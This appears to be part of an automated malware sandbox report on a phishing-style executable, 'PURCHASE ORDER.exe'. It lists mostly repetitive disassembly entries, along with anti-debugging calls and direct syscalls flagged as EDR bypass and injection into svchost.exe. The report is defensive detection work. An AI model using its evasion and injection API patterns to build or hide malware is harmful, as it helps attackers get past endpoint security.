            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5245A mov eax, dword ptr fs:[00000030h]2_2_03A5245A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40BBE mov eax, dword ptr fs:[00000030h]2_2_03A40BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40BBE mov eax, dword ptr fs:[00000030h]2_2_03A40BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4BB0 mov eax, dword ptr fs:[00000030h]2_2_03AE4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4BB0 mov eax, dword ptr fs:[00000030h]2_2_03AE4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]2_2_03A38BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]2_2_03A38BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]2_2_03A38BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EBFC mov eax, dword ptr fs:[00000030h]2_2_03A5EBFC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABCBF0 mov eax, dword ptr fs:[00000030h]2_2_03ABCBF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]2_2_03A50BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]2_2_03A50BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]2_2_03A50BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]2_2_03A30BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]2_2_03A30BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]2_2_03A30BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADEBD0 mov eax, dword ptr fs:[00000030h]2_2_03ADEBD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EB20 mov eax, dword ptr fs:[00000030h]2_2_03A5EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EB20 mov eax, dword ptr fs:[00000030h]2_2_03A5EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF8B28 mov eax, dword ptr fs:[00000030h]2_2_03AF8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF8B28 mov eax, dword ptr fs:[00000030h]2_2_03AF8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04B00 mov eax, dword ptr fs:[00000030h]2_2_03B04B00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2CB7E mov eax, dword ptr fs:[00000030h]2_2_03A2CB7E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4B4B mov eax, dword ptr fs:[00000030h]2_2_03AE4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4B4B mov eax, dword ptr fs:[00000030h]2_2_03AE4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6B40 mov eax, dword ptr fs:[00000030h]2_2_03AC6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6B40 mov eax, dword ptr fs:[00000030h]2_2_03AC6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFAB40 mov eax, dword ptr fs:[00000030h]2_2_03AFAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD8B42 mov eax, dword ptr fs:[00000030h]2_2_03AD8B42
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28B50 mov eax, dword ptr fs:[00000030h]2_2_03A28B50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADEB50 mov eax, dword ptr fs:[00000030h]2_2_03ADEB50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38AA0 mov eax, dword ptr fs:[00000030h]2_2_03A38AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38AA0 mov eax, dword ptr fs:[00000030h]2_2_03A38AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86AA4 mov eax, dword ptr fs:[00000030h]2_2_03A86AA4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04A80 mov eax, dword ptr fs:[00000030h]2_2_03B04A80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68A90 mov edx, dword ptr fs:[00000030h]2_2_03A68A90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6AAEE mov eax, dword ptr fs:[00000030h]2_2_03A6AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6AAEE mov eax, dword ptr fs:[00000030h]2_2_03A6AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]2_2_03A86ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]2_2_03A86ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]2_2_03A86ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30AD0 mov eax, dword ptr fs:[00000030h]2_2_03A30AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A64AD0 mov eax, dword ptr fs:[00000030h]2_2_03A64AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A64AD0 mov eax, dword ptr fs:[00000030h]2_2_03A64AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA24 mov eax, dword ptr fs:[00000030h]2_2_03A6CA24
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EA2E mov eax, dword ptr fs:[00000030h]2_2_03A5EA2E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A54A35 mov eax, dword ptr fs:[00000030h]2_2_03A54A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A54A35 mov eax, dword ptr fs:[00000030h]2_2_03A54A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA38 mov eax, dword ptr fs:[00000030h]2_2_03A6CA38
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABCA11 mov eax, dword ptr fs:[00000030h]2_2_03ABCA11
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]2_2_03A6CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]2_2_03A6CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]2_2_03A6CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADEA60 mov eax, dword ptr fs:[00000030h]2_2_03ADEA60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AACA72 mov eax, dword ptr fs:[00000030h]2_2_03AACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AACA72 mov eax, dword ptr fs:[00000030h]2_2_03AACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40A5B mov eax, dword ptr fs:[00000030h]2_2_03A40A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40A5B mov eax, dword ptr fs:[00000030h]2_2_03A40A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A309AD mov eax, dword ptr fs:[00000030h]2_2_03A309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A309AD mov eax, dword ptr fs:[00000030h]2_2_03A309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB89B3 mov esi, dword ptr fs:[00000030h]2_2_03AB89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB89B3 mov eax, dword ptr fs:[00000030h]2_2_03AB89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB89B3 mov eax, dword ptr fs:[00000030h]2_2_03AB89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABE9E0 mov eax, dword ptr fs:[00000030h]2_2_03ABE9E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A629F9 mov eax, dword ptr fs:[00000030h]2_2_03A629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A629F9 mov eax, dword ptr fs:[00000030h]2_2_03A629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC69C0 mov eax, dword ptr fs:[00000030h]2_2_03AC69C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A649D0 mov eax, dword ptr fs:[00000030h]2_2_03A649D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA9D3 mov eax, dword ptr fs:[00000030h]2_2_03AFA9D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB892A mov eax, dword ptr fs:[00000030h]2_2_03AB892A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC892B mov eax, dword ptr fs:[00000030h]2_2_03AC892B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE908 mov eax, dword ptr fs:[00000030h]2_2_03AAE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE908 mov eax, dword ptr fs:[00000030h]2_2_03AAE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC912 mov eax, dword ptr fs:[00000030h]2_2_03ABC912
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28918 mov eax, dword ptr fs:[00000030h]2_2_03A28918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28918 mov eax, dword ptr fs:[00000030h]2_2_03A28918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]2_2_03A56962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]2_2_03A56962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]2_2_03A56962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E mov eax, dword ptr fs:[00000030h]2_2_03A7096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E mov edx, dword ptr fs:[00000030h]2_2_03A7096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E mov eax, dword ptr fs:[00000030h]2_2_03A7096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4978 mov eax, dword ptr fs:[00000030h]2_2_03AD4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4978 mov eax, dword ptr fs:[00000030h]2_2_03AD4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC97C mov eax, dword ptr fs:[00000030h]2_2_03ABC97C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0946 mov eax, dword ptr fs:[00000030h]2_2_03AB0946
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04940 mov eax, dword ptr fs:[00000030h]2_2_03B04940
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30887 mov eax, dword ptr fs:[00000030h]2_2_03A30887
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC89D mov eax, dword ptr fs:[00000030h]2_2_03ABC89D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA8E4 mov eax, dword ptr fs:[00000030h]2_2_03AFA8E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]2_2_03A6C8F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]2_2_03A6C8F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E8C0 mov eax, dword ptr fs:[00000030h]2_2_03A5E8C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B008C0 mov eax, dword ptr fs:[00000030h]2_2_03B008C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov ecx, dword ptr fs:[00000030h]2_2_03A52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A830 mov eax, dword ptr fs:[00000030h]2_2_03A6A830
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD483A mov eax, dword ptr fs:[00000030h]2_2_03AD483A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD483A mov eax, dword ptr fs:[00000030h]2_2_03AD483A
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,0_2_00426DA1
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0042202E SetUnhandledExceptionFilter,0_2_0042202E
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_004230F5
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00417D93
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00421FA7

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtAllocateVirtualMemory: Direct from: 0x76EF48ECJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtQueryAttributesFile: Direct from: 0x76EF2E6CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtQueryVolumeInformationFile: Direct from: 0x76EF2F2CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtQuerySystemInformation: Direct from: 0x76EF48CCJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtOpenSection: Direct from: 0x76EF2E0CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtDeviceIoControlFile: Direct from: 0x76EF2AECJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtAllocateVirtualMemory: Direct from: 0x76EF2BECJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtQueryInformationToken: Direct from: 0x76EF2CACJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtCreateFile: Direct from: 0x76EF2FECJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtOpenFile: Direct from: 0x76EF2DCCJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtTerminateThread: Direct from: 0x76EF2FCCJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtOpenKeyEx: Direct from: 0x76EF2B9CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtSetInformationProcess: Direct from: 0x76EF2C5CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtProtectVirtualMemory: Direct from: 0x76EF2F9CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtWriteVirtualMemory: Direct from: 0x76EF2E3CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtNotifyChangeKey: Direct from: 0x76EF3C2CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtCreateMutant: Direct from: 0x76EF35CCJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtResumeThread: Direct from: 0x76EF36ACJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtMapViewOfSection: Direct from: 0x76EF2D1CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtProtectVirtualMemory: Direct from: 0x76EE7B2EJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtAllocateVirtualMemory: Direct from: 0x76EF2BFCJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtQuerySystemInformation: Direct from: 0x76EF2DFCJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtReadFile: Direct from: 0x76EF2ADCJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtDelayExecution: Direct from: 0x76EF2DDCJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtQueryInformationProcess: Direct from: 0x76EF2C26Jump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtResumeThread: Direct from: 0x76EF2FBCJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtCreateUserProcess: Direct from: 0x76EF371CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtAllocateVirtualMemory: Direct from: 0x76EF3C9CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtSetInformationThread: Direct from: 0x76EE63F9Jump to behavior
